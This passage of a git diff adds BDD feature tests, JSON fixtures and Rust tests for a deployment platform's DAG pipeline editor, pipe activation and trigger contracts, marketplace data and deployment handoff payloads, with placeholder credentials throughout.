+    Given I have a DAG pipe template named "bdd-stream-dag"
+    And I have added a DAG step "WsSource" of type "ws_source" to the template
+    And I have added a DAG step "Transform" of type "transform" to the template
+    And I have added a DAG step "HttpTarget" of type "target" to the template
+    And I have added a DAG edge from step "WsSource" to step "Transform"
+    And I have added a DAG edge from step "Transform" to step "HttpTarget"
+    When I validate the DAG for the template
+    Then the response status should be 200
+    And the response body should contain "valid"
+
+  Scenario: DAG with ws_source executes and step types are recorded
+    Given I have a DAG pipe template named "bdd-stream-exec-dag"
+    And I have a DAG pipe instance for that template
+    And I have added a DAG step "WsIn" of type "ws_source" with config:
+      """
+      {"url": "ws://localhost:9090/feed", "output": {"sensor": "temp", "value": 23.5}}
+      """
+    And I have added a DAG step "MapStep" of type "transform" with config:
+      """
+      {"mapping": {"sensor": "sensor"}}
+      """
+    And I have added a DAG step "Sink" of type "ws_target" with config:
+      """
+      {"url": "ws://localhost:9091/sink", "output": {"delivered": true}}
+      """
+    And I have added a DAG edge from step "WsIn" to step "MapStep"
+    And I have added a DAG edge from step "MapStep" to step "Sink"
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 200
+    And the response body should contain "completed"
+
+  # ── Execution Stream (SSE) Endpoint ────────────────────
+
+  Scenario: Execution stream endpoint returns SSE content type
+    Given I have a DAG pipe template named "bdd-stream-sse-ep"
+    And I have a DAG pipe instance for that template
+    When I request the execution stream for the instance
+    Then the response status should be 200
+    And the response content-type should contain "text/event-stream"
+
+  Scenario: Execution stream emits connection event
+    Given I have a DAG pipe template named "bdd-stream-sse-evt"
+    And I have a DAG pipe instance for that template
+    When I request the execution stream for the instance
+    Then the response status should be 200
+    And the response body should contain "event: connected"
+
+  # ── gRPC DAG Step Types ─────────────────────────────────
+
+  Scenario: Create a grpc_source DAG step
+    Given I have a DAG pipe template named "bdd-stream-grpc-src"
+    When I add a DAG step to the template with:
+      """
+      {"name": "gRPC Ingest", "step_type": "grpc_source", "config": {"endpoint": "http://localhost:50051", "pipe_instance_id": "test", "step_id": "s1"}}
+      """
+    Then the response status should be 201
+    And the response body should contain "grpc_source"
+
+  Scenario: Create a grpc_target DAG step
+    Given I have a DAG pipe template named "bdd-stream-grpc-tgt"
+    When I add a DAG step to the template with:
+      """
+      {"name": "gRPC Publish", "step_type": "grpc_target", "config": {"endpoint": "http://localhost:50051", "pipe_instance_id": "test", "step_id": "s2"}}
+      """
+    Then the response status should be 201
+    And the response body should contain "grpc_target"
+
+  Scenario: DAG with grpc_source executes via simulation
+    Given I have a DAG pipe template named "bdd-stream-grpc-exec"
+    And I have a DAG pipe instance for that template
+    And I have added a DAG step "GrpcIn" of type "grpc_source" with config:
+      """
+      {"endpoint": "http://localhost:50051", "output": {"metric": "cpu", "value": 72.1}}
+      """
+    And I have added a DAG step "MapGrpc" of type "transform" with config:
+      """
+      {"mapping": {"metric": "metric"}}
+      """
+    And I have added a DAG step "GrpcOut" of type "grpc_target" with config:
+      """
+      {"endpoint": "http://localhost:50051", "output": {"grpc_delivered": true}}
+      """
+    And I have added a DAG edge from step "GrpcIn" to step "MapGrpc"
+    And I have added a DAG edge from step "MapGrpc" to step "GrpcOut"
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 200
+    And the response body should contain "completed"
diff --git a/tests/features/visual_editor.feature b/tests/features/visual_editor.feature
new file mode 100644
index 00000000..0433dfde
--- /dev/null
+++ b/tests/features/visual_editor.feature
@@ -0,0 +1,208 @@
+Feature: Visual DAG Editor API Integration
+  As a user of the visual DAG editor I want the backend API to support
+  all CRUD operations for steps, edges, validation and execution so the
+  editor can render and manipulate DAGs.
+
+  Background:
+    Given I am authenticated as User A
+
+  # ──────────────────────────────────────────────
+  # Step CRUD via Editor
+  # ──────────────────────────────────────────────
+
+  Scenario: Add a source step via editor API
+    Given I have a DAG pipe template named "editor-crud-test"
+    When I add a step "DataIn" of type "source" at position 100,80
+    Then the response status should be 201
+    And the step should have name "DataIn"
+    And the step should have type "source"
+
+  Scenario: Add a CDC source step via editor API
+    Given I have a DAG pipe template named "editor-cdc-test"
+    When I add a step "PgChanges" of type "cdc_source" at position 200,80
+    Then the response status should be 201
+    And the step should have type "cdc_source"
+
+  Scenario: Update step name and config
+    Given I have a DAG pipe template named "editor-update-test"
+    And I have added a DAG step "OldName" of type "transform" with config:
+      """
+      {"mapping": "field_a"}
+      """
+    When I update the step name to "NewName" with config:
+      """
+      {"mapping": "field_b", "filter": true}
+      """
+    Then the response status should be 200
+
+  Scenario: Delete a step removes it from the DAG
+    Given I have a DAG pipe template named "editor-delete-test"
+    And I have added a DAG step "ToDelete" of type "target" with config:
+      """
+      {}
+      """
+    When I delete the step
+    Then the response status should be 200
+    And listing steps should return 0 steps
+
+  # ──────────────────────────────────────────────
+  # Edge CRUD via Editor
+  # ──────────────────────────────────────────────
+
+  Scenario: Connect two steps with an edge
+    Given I have a DAG pipe template named "editor-edge-test"
+    And I have added a DAG step "In" of type "source" with config:
+      """
+      {"output": {"val": 1}}
+      """
+    And I have added a DAG step "Out" of type "target" with config:
+      """
+      {}
+      """
+    When I add an edge from step "In" to step "Out"
+    Then the response status should be 201
+    And listing edges should return 1 edge
+
+  Scenario: Delete an edge
+    Given I have a DAG pipe template named "editor-edge-del"
+    And I have added a DAG step "A" of type "source" with config:
+      """
+      {"output": {"x": 1}}
+      """
+    And I have added a DAG step "B" of type "target" with config:
+      """
+      {}
+      """
+    And I have added a DAG edge from step "A" to step "B"
+    When I delete the edge from "A" to "B"
+    Then the response status should be 200
+    And listing edges should return 0 edges
+
+  # ──────────────────────────────────────────────
+  # Validation via Editor
+  # ──────────────────────────────────────────────
+
+  Scenario: Validate a complete DAG succeeds
+    Given I have a DAG pipe template named "editor-valid-dag"
+    And I have added a DAG step "Src" of type "source" with config:
+      """
+      {"output": {"data": 42}}
+      """
+    And I have added a DAG step "Tgt" of type "target" with config:
+      """
+      {}
+      """
+    And I have added a DAG edge from step "Src" to step "Tgt"
+    When I validate the DAG
+    Then the response status should be 200
+    And the response body should contain "valid"
+
+  Scenario: Validate an empty DAG fails
+    Given I have a DAG pipe template named "editor-empty-dag"
+    When I validate the DAG
+    Then the response status should be 200
+
+  # ──────────────────────────────────────────────
+  # Step type coverage (all 12 types)
+  # ──────────────────────────────────────────────
+
+  Scenario: All step types are accepted by the API
+    Given I have a DAG pipe template named "editor-all-types"
+    When I add steps of all supported types
+    Then all 12 steps should be created successfully
+
+  # ──────────────────────────────────────────────
+  # DAG Execution via Editor
+  # ──────────────────────────────────────────────
+
+  Scenario: Execute a DAG and get step-level results
+    Given I have a DAG pipe template named "editor-exec-test"
+    And I have a DAG pipe instance for that template
+    And I have added a DAG step "Input" of type "source" with config:
+      """
+      {"output": {"value": 100}}
+      """
+    And I have added a DAG step "Process" of type "transform" with config:
+      """
+      {"mapping": {"result": "value"}}
+      """
+    And I have added a DAG step "Output" of type "target" with config:
+      """
+      {}
+      """
+    And I have added a DAG edge from step "Input" to step "Process"
+    And I have added a DAG edge from step "Process" to step "Output"
+    When I execute the DAG with input:
+      """
+      {}
+      """
+    Then the response status should be 200
+    And the response body should contain "completed"
+
+  # ──────────────────────────────────────────────
+  # Edge Deletion (v2)
+  # ──────────────────────────────────────────────
+
+  Scenario: Deleting an edge returns it in subsequent listing
+    Given I have a DAG pipe template named "editor-edge-del-v2"
+    And I have added a DAG step "X" of type "source" with config:
+      """
+      {"output": {"v": 1}}
+      """
+    And I have added a DAG step "Y" of type "target" with config:
+      """
+      {}
+      """
+    And I have added a DAG edge from step "X" to step "Y"
+    When I delete the edge from "X" to "Y"
+    Then the response status should be 200
+    And listing edges should return 0 edges
+    And listing steps should return 2 steps
+
+  # ──────────────────────────────────────────────
+  # Casbin anonymous /editor access (v2)
+  # ──────────────────────────────────────────────
+
+  Scenario: Anonymous GET /editor is permitted by Casbin
+    When I make an unauthenticated GET request to "/editor/"
+    Then the response status should not be 403
+
+  Scenario: Anonymous GET /editor/assets/index.js is permitted
+    When I make an unauthenticated GET request to "/editor/assets/index.js"
+    Then the response status should not be 403
+
+  # ──────────────────────────────────────────────
+  # Starter Templates data validation (v2)
+  # ──────────────────────────────────────────────
+
+  Scenario: Seed DAG from ETL Pipeline template
+    Given I have a DAG pipe template named "etl-seed-test"
+    When I add a step "Fetch API Data" of type "source" at position 100,80
+    And I add a step "Clean & Map" of type "transform" at position 300,80
+    And I add a step "Write to DB" of type "target" at position 500,80
+    And I add an edge from step "Fetch API Data" to step "Clean & Map"
+    And I add an edge from step "Clean & Map" to step "Write to DB"
+    Then listing steps should return 3 steps
+    And listing edges should return 2 edges
+
+  Scenario: Seed DAG from Webhook Router template with condition
+    Given I have a DAG pipe template named "webhook-seed-test"
+    When I add a step "Webhook Receiver" of type "http_stream_source" at position 100,80
+    And I add a step "Route by Type" of type "condition" at position 300,80
+    And I add a step "Order Service" of type "target" at position 500,80
+    And I add a step "Notification Service" of type "target" at position 500,200
+    And I add an edge from step "Webhook Receiver" to step "Route by Type"
+    And I add an edge from step "Route by Type" to step "Order Service"
+    And I add an edge from step "Route by Type" to step "Notification Service"
+    Then listing steps should return 4 steps
+    And listing edges should return 3 edges
+
+  Scenario: Seed DAG from CDC Replicator template
+    Given I have a DAG pipe template named "cdc-seed-test"
+    When I add a step "PG WAL Capture" of type "cdc_source" at position 100,80
+    And I add a step "Map Fields" of type "transform" at position 300,80
+    And I add a step "Replicate to Target" of type "grpc_target" at position 500,80
+    And I add an edge from step "PG WAL Capture" to step "Map Fields"
+    And I add an edge from step "Map Fields" to step "Replicate to Target"
+    Then listing steps should return 3 steps
+    And listing edges should return 2 edges
diff --git a/tests/fixtures/ai/deployment_state.offline.json b/tests/fixtures/ai/deployment_state.offline.json
new file mode 100644
index 00000000..78405ac8
--- /dev/null
+++ b/tests/fixtures/ai/deployment_state.offline.json
@@ -0,0 +1,45 @@
+{
+  "agent": {
+    "capabilities": [],
+    "features": {
+      "backup": false,
+      "compose": false,
+      "kata_runtime": false,
+      "pipes": false,
+      "proxy_credentials_vault": false
+    },
+    "online": false,
+    "status": "offline"
+  },
+  "apps": [
+    {
+      "code": "upload",
+      "config_hash": "hash-upload-v4",
+      "config_version": 4,
+      "deployment_id": 77,
+      "enabled": true,
+      "image": "optimum/syncopia-upload:latest",
+      "needs_vault_sync": true,
+      "vault_sync_version": 3
+    }
+  ],
+  "deployment": {
+    "created_at": "2026-05-14T09:00:00Z",
+    "deployment_hash": "deployment_120254c6-598e-47a1-83ca-690840edd906",
+    "id": 77,
+    "project_id": 12,
+    "runtime": "runc",
+    "status": "degraded",
+    "updated_at": "2026-05-14T09:05:00Z",
+    "user_id": "user_123"
+  },
+  "drift": {
+    "config_sync_pending": true
+  },
+  "runtime": {
+    "compose_env_file": ".env",
+    "compose_file": "/home/trydirect/project/docker-compose.yml",
+    "env_file": "/home/trydirect/project/.env"
+  },
+  "schema_version": "v1alpha1"
+}
diff --git a/tests/fixtures/ai/deployment_state.online.json b/tests/fixtures/ai/deployment_state.online.json
new file mode 100644
index 00000000..54452c95
--- /dev/null
+++ b/tests/fixtures/ai/deployment_state.online.json
@@ -0,0 +1,55 @@
+{
+  "agent": {
+    "agent_id": "36cf6fd2-6d76-4faf-9310-8f264c28fdb0",
+    "capabilities": [
+      "docker",
+      "compose",
+      "logs",
+      "npm_credential_source=vault"
+    ],
+    "features": {
+      "backup": false,
+      "compose": true,
+      "kata_runtime": false,
+      "pipes": false,
+      "proxy_credentials_vault": true
+    },
+    "last_heartbeat": "2026-05-14T09:06:00Z",
+    "online": true,
+    "status": "online",
+    "version": "0.42.0"
+  },
+  "apps": [
+    {
+      "code": "upload",
+      "config_hash": "hash-upload-v3",
+      "config_version": 3,
+      "deployment_id": 77,
+      "enabled": true,
+      "image": "optimum/syncopia-upload:latest",
+      "needs_vault_sync": false,
+      "vault_sync_version": 3
+    }
+  ],
+  "deployment": {
+    "created_at": "2026-05-14T09:00:00Z",
+    "deployment_hash": "deployment_120254c6-598e-47a1-83ca-690840edd906",
+    "id": 77,
+    "last_command_status": "completed",
+    "project_id": 12,
+    "runtime": "runc",
+    "status": "deployed",
+    "status_message": "Deployment complete",
+    "updated_at": "2026-05-14T09:05:00Z",
+    "user_id": "user_123"
+  },
+  "drift": {
+    "config_sync_pending": false
+  },
+  "runtime": {
+    "compose_env_file": ".env",
+    "compose_file": "/home/trydirect/project/docker-compose.yml",
+    "env_file": "/home/trydirect/project/.env"
+  },
+  "schema_version": "v1alpha1"
+}
diff --git a/tests/fixtures/npm_credentials/v1_email_password.json b/tests/fixtures/npm_credentials/v1_email_password.json
new file mode 100644
index 00000000..81619663
--- /dev/null
+++ b/tests/fixtures/npm_credentials/v1_email_password.json
@@ -0,0 +1,7 @@
+{
+  "schema_version": 1,
+  "host": "http://nginx-proxy-manager:81",
+  "email": "admin@example.com",
+  "password": "secret",
+  "auth_mode": "email_password"
+}
diff --git a/tests/fixtures/pipe-contract/activate_pipe.adapter.command.json b/tests/fixtures/pipe-contract/activate_pipe.adapter.command.json
new file mode 100644
index 00000000..17eba211
--- /dev/null
+++ b/tests/fixtures/pipe-contract/activate_pipe.adapter.command.json
@@ -0,0 +1,30 @@
+{
+  "pipe_instance_id": "pipe-adapter-1",
+  "source_adapter": {
+    "code": "imap",
+    "role": "source",
+    "config": {
+      "host": "imap.example.com",
+      "port": 993,
+      "mailbox": "INBOX",
+      "username": "alerts@example.com",
+      "password": "example-password"
+    }
+  },
+  "target_adapter": {
+    "code": "smtp",
+    "role": "target",
+    "config": {
+      "host": "smtp.example.com",
+      "port": 587,
+      "username": "mailer@example.com",
+      "password": "example-password",
+      "from": "alerts@example.com"
+    }
+  },
+  "field_mapping": {
+    "subject": "$.subject",
+    "body.text": "$.body.text"
+  },
+  "trigger_type": "poll"
+}
diff --git a/tests/fixtures/pipe-contract/activate_pipe.rabbitmq.command.json b/tests/fixtures/pipe-contract/activate_pipe.rabbitmq.command.json
new file mode 100644
index 00000000..38ac5e0d
--- /dev/null
+++ b/tests/fixtures/pipe-contract/activate_pipe.rabbitmq.command.json
@@ -0,0 +1,14 @@
+{
+  "pipe_instance_id": "pipe-amqp-1",
+  "source_broker_url": "amqp://guest:guest@localhost:5672/%2f",
+  "source_queue": "events.queue",
+  "source_exchange": "events.exchange",
+  "source_routing_key": "events.created",
+  "target_url": "https://example.com",
+  "target_endpoint": "/runtime/pipe",
+  "target_method": "POST",
+  "field_mapping": {
+    "email": "$.user.email"
+  },
+  "trigger_type": "rabbitmq"
+}
diff --git a/tests/fixtures/pipe-contract/activate_pipe.success.report.json b/tests/fixtures/pipe-contract/activate_pipe.success.report.json
new file mode 100644
index 00000000..374e7520
--- /dev/null
+++ b/tests/fixtures/pipe-contract/activate_pipe.success.report.json
@@ -0,0 +1,15 @@
+{
+  "type": "activate_pipe",
+  "deployment_hash": "dep-123",
+  "pipe_instance_id": "11111111-1111-1111-1111-111111111111",
+  "active": true,
+  "replaced": false,
+  "reactivated": false,
+  "trigger_type": "webhook",
+  "lifecycle": {
+    "state": "active",
+    "activated_at": "2026-01-01T00:00:00Z",
+    "trigger_count": 0,
+    "last_updated_at": "2026-01-01T00:00:00Z"
+  }
+}
diff --git a/tests/fixtures/pipe-contract/activate_pipe.webhook.command.json b/tests/fixtures/pipe-contract/activate_pipe.webhook.command.json
new file mode 100644
index 00000000..0647ce90
--- /dev/null
+++ b/tests/fixtures/pipe-contract/activate_pipe.webhook.command.json
@@ -0,0 +1,13 @@
+{
+  "pipe_instance_id": "11111111-1111-1111-1111-111111111111",
+  "source_container": "source-app",
+  "source_endpoint": "/source/data",
+  "source_method": "GET",
+  "target_url": "https://example.com",
+  "target_endpoint": "/runtime/pipe",
+  "target_method": "POST",
+  "field_mapping": {
+    "email": "$.user.email"
+  },
+  "trigger_type": "webhook"
+}
diff --git a/tests/fixtures/pipe-contract/deactivate_pipe.command.json b/tests/fixtures/pipe-contract/deactivate_pipe.command.json
new file mode 100644
index 00000000..2d7bcd16
--- /dev/null
+++ b/tests/fixtures/pipe-contract/deactivate_pipe.command.json
@@ -0,0 +1,3 @@
+{
+  "pipe_instance_id": "11111111-1111-1111-1111-111111111111"
+}
diff --git a/tests/fixtures/pipe-contract/deactivate_pipe.success.report.json b/tests/fixtures/pipe-contract/deactivate_pipe.success.report.json
new file mode 100644
index 00000000..a5c13fc4
--- /dev/null
+++ b/tests/fixtures/pipe-contract/deactivate_pipe.success.report.json
@@ -0,0 +1,14 @@
+{
+  "type": "deactivate_pipe",
+  "deployment_hash": "dep-123",
+  "pipe_instance_id": "11111111-1111-1111-1111-111111111111",
+  "active": false,
+  "removed": true,
+  "lifecycle": {
+    "state": "inactive",
+    "activated_at": "2026-01-01T00:00:00Z",
+    "deactivated_at": "2026-01-01T00:05:00Z",
+    "trigger_count": 3,
+    "last_updated_at": "2026-01-01T00:05:00Z"
+  }
+}
diff --git a/tests/fixtures/pipe-contract/trigger_pipe.adapter.command.json b/tests/fixtures/pipe-contract/trigger_pipe.adapter.command.json
new file mode 100644
index 00000000..3697cda9
--- /dev/null
+++ b/tests/fixtures/pipe-contract/trigger_pipe.adapter.command.json
@@ -0,0 +1,39 @@
+{
+  "pipe_instance_id": "pipe-adapter-1",
+  "input_data": {
+    "subject": "Incident opened",
+    "body": {
+      "text": "CPU usage exceeded threshold"
+    },
+    "from": [
+      {
+        "email": "alerts@example.com"
+      }
+    ],
+    "to": [
+      {
+        "email": "ops@example.com"
+      }
+    ]
+  },
+  "source_adapter": {
+    "code": "imap",
+    "role": "source",
+    "config": {
+      "mailbox": "INBOX"
+    }
+  },
+  "target_adapter": {
+    "code": "smtp",
+    "role": "target",
+    "config": {
+      "host": "smtp.example.com",
+      "from": "alerts@example.com"
+    }
+  },
+  "field_mapping": {
+    "subject": "$.subject",
+    "body": "$.body.text"
+  },
+  "trigger_type": "manual"
+}
diff --git a/tests/fixtures/pipe-contract/trigger_pipe.failure.report.json b/tests/fixtures/pipe-contract/trigger_pipe.failure.report.json
new file mode 100644
index 00000000..0977179a
--- /dev/null
+++ b/tests/fixtures/pipe-contract/trigger_pipe.failure.report.json
@@ -0,0 +1,24 @@
+{
+  "type": "trigger_pipe",
+  "deployment_hash": "dep-123",
+  "pipe_instance_id": "11111111-1111-1111-1111-111111111111",
+  "success": false,
+  "error": "target endpoint returned 500",
+  "target_response": {
+    "transport": "http",
+    "status": 500,
+    "delivered": false,
+    "body": {
+      "error": "server failure"
+    }
+  },
+  "triggered_at": "2026-01-01T00:11:00Z",
+  "trigger_type": "webhook",
+  "lifecycle": {
+    "state": "failed",
+    "activated_at": "2026-01-01T00:00:00Z",
+    "last_error": "target endpoint returned 500",
+    "trigger_count": 1,
+    "last_updated_at": "2026-01-01T00:11:00Z"
+  }
+}
diff --git a/tests/fixtures/pipe-contract/trigger_pipe.manual.command.json b/tests/fixtures/pipe-contract/trigger_pipe.manual.command.json
new file mode 100644
index 00000000..469da169
--- /dev/null
+++ b/tests/fixtures/pipe-contract/trigger_pipe.manual.command.json
@@ -0,0 +1,15 @@
+{
+  "pipe_instance_id": "11111111-1111-1111-1111-111111111111",
+  "input_data": {
+    "user": {
+      "email": "dev@try.direct"
+    }
+  },
+  "target_url": "https://example.com",
+  "target_endpoint": "/webhook/pipe",
+  "target_method": "POST",
+  "field_mapping": {
+    "email": "$.user.email"
+  },
+  "trigger_type": "manual"
+}
diff --git a/tests/fixtures/pipe-contract/trigger_pipe.replay.command.json b/tests/fixtures/pipe-contract/trigger_pipe.replay.command.json
new file mode 100644
index 00000000..15015a0c
--- /dev/null
+++ b/tests/fixtures/pipe-contract/trigger_pipe.replay.command.json
@@ -0,0 +1,7 @@
+{
+  "pipe_instance_id": "11111111-1111-1111-1111-111111111111",
+  "input_data": {
+    "invoice_id": "inv-replay"
+  },
+  "trigger_type": "replay"
+}
diff --git a/tests/fixtures/pipe-contract/trigger_pipe.replay.report.json b/tests/fixtures/pipe-contract/trigger_pipe.replay.report.json
new file mode 100644
index 00000000..a50a7a8f
--- /dev/null
+++ b/tests/fixtures/pipe-contract/trigger_pipe.replay.report.json
@@ -0,0 +1,30 @@
+{
+  "type": "trigger_pipe",
+  "deployment_hash": "dep-123",
+  "pipe_instance_id": "11111111-1111-1111-1111-111111111111",
+  "success": true,
+  "source_data": {
+    "invoice_id": "inv-replay"
+  },
+  "mapped_data": {
+    "customer_id": "cust-replay-updated"
+  },
+  "target_response": {
+    "transport": "http",
+    "status": 200,
+    "delivered": true,
+    "body": {
+      "queued": true,
+      "replayed": true
+    }
+  },
+  "triggered_at": "2026-01-01T00:12:00Z",
+  "trigger_type": "replay",
+  "lifecycle": {
+    "state": "active",
+    "activated_at": "2026-01-01T00:00:00Z",
+    "last_triggered_at": "2026-01-01T00:12:00Z",
+    "trigger_count": 2,
+    "last_updated_at": "2026-01-01T00:12:00Z"
+  }
+}
diff --git a/tests/fixtures/pipe-contract/trigger_pipe.smtp_adapter.report.json b/tests/fixtures/pipe-contract/trigger_pipe.smtp_adapter.report.json
new file mode 100644
index 00000000..aa05739b
--- /dev/null
+++ b/tests/fixtures/pipe-contract/trigger_pipe.smtp_adapter.report.json
@@ -0,0 +1,44 @@
+{
+  "type": "trigger_pipe",
+  "deployment_hash": "dep-123",
+  "pipe_instance_id": "pipe-adapter-1",
+  "success": true,
+  "source_data": {
+    "subject": "Incident opened",
+    "body": {
+      "text": "CPU usage exceeded threshold"
+    }
+  },
+  "mapped_data": {
+    "subject": "Incident opened",
+    "body_text": "CPU usage exceeded threshold"
+  },
+  "target_response": {
+    "transport": "smtp",
+    "adapter": "smtp",
+    "status": null,
+    "delivered": true,
+    "body": {
+      "host": "smtp.example.com",
+      "port": 587,
+      "tls": true,
+      "subject": "Incident opened",
+      "to": [
+        "ops@example.com"
+      ],
+      "from": "alerts@example.com",
+      "message_id": "msg-123",
+      "accepted_recipients": 1
+    }
+  },
+  "triggered_at": "2026-05-22T08:00:00Z",
+  "trigger_type": "manual",
+  "lifecycle": {
+    "state": "active",
+    "activated_at": "2026-05-22T07:59:00Z",
+    "last_triggered_at": "2026-05-22T08:00:00Z",
+    "last_error": null,
+    "trigger_count": 1,
+    "last_updated_at": "2026-05-22T08:00:00Z"
+  }
+}
diff --git a/tests/fixtures/pipe-contract/trigger_pipe.success.report.json b/tests/fixtures/pipe-contract/trigger_pipe.success.report.json
new file mode 100644
index 00000000..4db1327c
--- /dev/null
+++ b/tests/fixtures/pipe-contract/trigger_pipe.success.report.json
@@ -0,0 +1,31 @@
+{
+  "type": "trigger_pipe",
+  "deployment_hash": "dep-123",
+  "pipe_instance_id": "11111111-1111-1111-1111-111111111111",
+  "success": true,
+  "source_data": {
+    "user": {
+      "email": "dev@try.direct"
+    }
+  },
+  "mapped_data": {
+    "email": "dev@try.direct"
+  },
+  "target_response": {
+    "transport": "http",
+    "status": 200,
+    "delivered": true,
+    "body": {
+      "accepted": true
+    }
+  },
+  "triggered_at": "2026-01-01T00:10:00Z",
+  "trigger_type": "manual",
+  "lifecycle": {
+    "state": "active",
+    "activated_at": "2026-01-01T00:00:00Z",
+    "last_triggered_at": "2026-01-01T00:10:00Z",
+    "trigger_count": 1,
+    "last_updated_at": "2026-01-01T00:10:00Z"
+  }
+}
diff --git a/tests/fixtures/shared/marketplace/templates.json b/tests/fixtures/shared/marketplace/templates.json
new file mode 100644
index 00000000..5d7dde4b
--- /dev/null
+++ b/tests/fixtures/shared/marketplace/templates.json
@@ -0,0 +1,55 @@
+[
+  {
+    "creator_user_id": "vendor_acme",
+    "creator_name": "Acme Cloud",
+    "name": "WordPress Pro",
+    "slug": "wordpress-pro",
+    "status": "approved",
+    "short_description": "Production WordPress stack",
+    "long_description": "A hardened WordPress stack for teams.",
+    "tags": ["wordpress", "cms"],
+    "tech_stack": {
+      "runtime": "php",
+      "database": "mysql"
+    },
+    "vendor_url": "https://acme.example"
+  },
+  {
+    "creator_user_id": "vendor_acme",
+    "creator_name": "Acme Cloud",
+    "name": "Postgres Backup",
+    "slug": "postgres-backup",
+    "status": "approved",
+    "short_description": "Scheduled Postgres backups",
+    "long_description": "Simple backup automation for Postgres.",
+    "tags": ["postgres", "backup"],
+    "tech_stack": {
+      "database": "postgres"
+    },
+    "vendor_url": "https://acme.example"
+  },
+  {
+    "creator_user_id": "vendor_acme",
+    "creator_name": "Acme Cloud",
+    "name": "Draft Internal Template",
+    "slug": "draft-internal-template",
+    "status": "draft",
+    "short_description": "Should not be public",
+    "long_description": "This template must not appear publicly.",
+    "tags": [],
+    "tech_stack": {},
+    "vendor_url": "https://acme.example"
+  },
+  {
+    "creator_user_id": "vendor_beta",
+    "creator_name": "Beta Labs",
+    "name": "Beta Draft Template",
+    "slug": "beta-draft-template",
+    "status": "draft",
+    "short_description": "Beta draft",
+    "long_description": "This beta template should not appear publicly.",
+    "tags": [],
+    "tech_stack": {},
+    "vendor_url": "https://beta.example"
+  }
+]
diff --git a/tests/fixtures/shared/marketplace/vendors.json b/tests/fixtures/shared/marketplace/vendors.json
new file mode 100644
index 00000000..495eab15
--- /dev/null
+++ b/tests/fixtures/shared/marketplace/vendors.json
@@ -0,0 +1,35 @@
+[
+  {
+    "creator_user_id": "vendor_acme",
+    "public_slug": "acme-cloud",
+    "display_name": "Acme Cloud",
+    "bio": "Production-ready app stacks for small teams.",
+    "avatar_url": "https://cdn.trydirect.test/vendors/acme/avatar.png",
+    "website_url": "https://acme.example",
+    "verification_status": "verified",
+    "onboarding_status": "completed",
+    "payouts_enabled": true,
+    "payout_provider": "stripe_connect",
+    "payout_account_ref": "acct_acme_fixture",
+    "metadata": {
+      "country": "DE",
+      "support_email": "support@acme.example"
+    }
+  },
+  {
+    "creator_user_id": "vendor_beta",
+    "public_slug": "beta-labs",
+    "display_name": "Beta Labs",
+    "bio": "Experimental templates and developer tools.",
+    "avatar_url": null,
+    "website_url": "https://beta.example",
+    "verification_status": "pending",
+    "onboarding_status": "completed",
+    "payouts_enabled": false,
+    "payout_provider": "stripe_connect",
+    "payout_account_ref": "acct_beta_fixture",
+    "metadata": {
+      "country": "NL"
+    }
+  }
+]
diff --git a/tests/handoff_contract.rs b/tests/handoff_contract.rs
new file mode 100644
index 00000000..665ac769
--- /dev/null
+++ b/tests/handoff_contract.rs
@@ -0,0 +1,82 @@
+use chrono::{Duration, TimeZone, Utc};
+use serde_json::json;
+use stacker::handoff::{
+    DeploymentHandoffAgent, DeploymentHandoffCloud, DeploymentHandoffCredentials,
+    DeploymentHandoffDeployment, DeploymentHandoffKind, DeploymentHandoffLink,
+    DeploymentHandoffPayload, DeploymentHandoffProject, DeploymentHandoffServer,
+};
+
+#[test]
+fn handoff_payload_serializes_expected_contract() {
+    let payload = DeploymentHandoffPayload {
+        kind: DeploymentHandoffKind::Deployment,
+        version: 1,
+        expires_at: Utc.with_ymd_and_hms(2026, 4, 12, 10, 0, 0).unwrap(),
+        project: DeploymentHandoffProject {
+            id: 42,
+            name: "OpenClaw Demo".to_string(),
+            identity: Some("openclaw-demo".to_string()),
+        },
+        deployment: DeploymentHandoffDeployment {
+            id: 13828,
+            hash: "JoRHfrj4".to_string(),
+            target: "cloud".to_string(),
+            status: "completed".to_string(),
+        },
+        server: Some(DeploymentHandoffServer {
+            ip: Some("46.225.145.123".to_string()),
+            ssh_user: Some("root".to_string()),
+            ssh_port: Some(22),
+            name: Some("openclaw-i8ntmi9e0".to_string()),
+        }),
+        cloud: Some(DeploymentHandoffCloud {
+            id: 7,
+            provider: Some("hetzner".to_string()),
+            region: Some("fsn1".to_string()),
+        }),
+        lockfile: json!({
+            "target": "cloud",
+            "deployment_id": 13828,
+            "project_id": 42,
+            "project_name": "OpenClaw Demo"
+        }),
+        stacker_yml: Some("name: openclaw-demo\n".to_string()),
+        agent: Some(DeploymentHandoffAgent {
+            base_url: "http://46.225.145.123:8080".to_string(),
+            deployment_hash: "JoRHfrj4".to_string(),
+        }),
+        credentials: Some(DeploymentHandoffCredentials {
+            access_token: "secret-token".to_string(),
+            token_type: "Bearer".to_string(),
+            expires_at: Utc.with_ymd_and_hms(2026, 4, 12, 10, 0, 0).unwrap(),
+            email: Some("ops@try.direct".to_string()),
+            server_url: Some("https://dev.try.direct".to_string()),
+        }),
+    };
+
+    let value = serde_json::to_value(&payload).expect("payload should serialize");
+
+    assert_eq!(value["kind"], "deployment");
+    assert_eq!(value["version"], 1);
+    assert_eq!(value["project"]["id"], 42);
+    assert_eq!(value["deployment"]["target"], "cloud");
+    assert_eq!(value["server"]["ip"], "46.225.145.123");
+    assert_eq!(value["cloud"]["provider"], "hetzner");
+    assert_eq!(value["lockfile"]["deployment_id"], 13828);
+    assert_eq!(value["agent"]["base_url"], "http://46.225.145.123:8080");
+    assert_eq!(value["credentials"]["token_type"], "Bearer");
+}
+
+#[test]
+fn handoff_link_reports_expiry_against_reference_time() {
+    let issued_at = Utc.with_ymd_and_hms(2026, 4, 12, 9, 0, 0).unwrap();
+    let expires_at = issued_at + Duration::hours(2);
+    let link = DeploymentHandoffLink {
+        token: "abc".to_string(),
+        url: "https://dev.try.direct/handoff/abc".to_string(),
+        expires_at,
+    };
+
+    assert!(!link.is_expired_at(issued_at + Duration::minutes(119)));
+    assert!(link.is_expired_at(issued_at + Duration::minutes(121)));
+}
diff --git a/tests/health_check.rs b/tests/health_check.rs
index 8ea2a825..0ec8e046 100644
--- a/tests/health_check.rs
+++ b/tests/health_check.rs
@@ -2,24 +2,27 @@ mod common;
 
 #[tokio::test]
 async fn health_check_works() {
-    // 1. Arrange
-    // 2. Act
-    // 3. Assert
-
     println!("Before spawn_app");
     let app = match common::spawn_app().await {
         Some(app) => app,
         None => return,
-    }; // server
+    };
     println!("After spawn_app");
-    let client = reqwest::Client::new(); // client
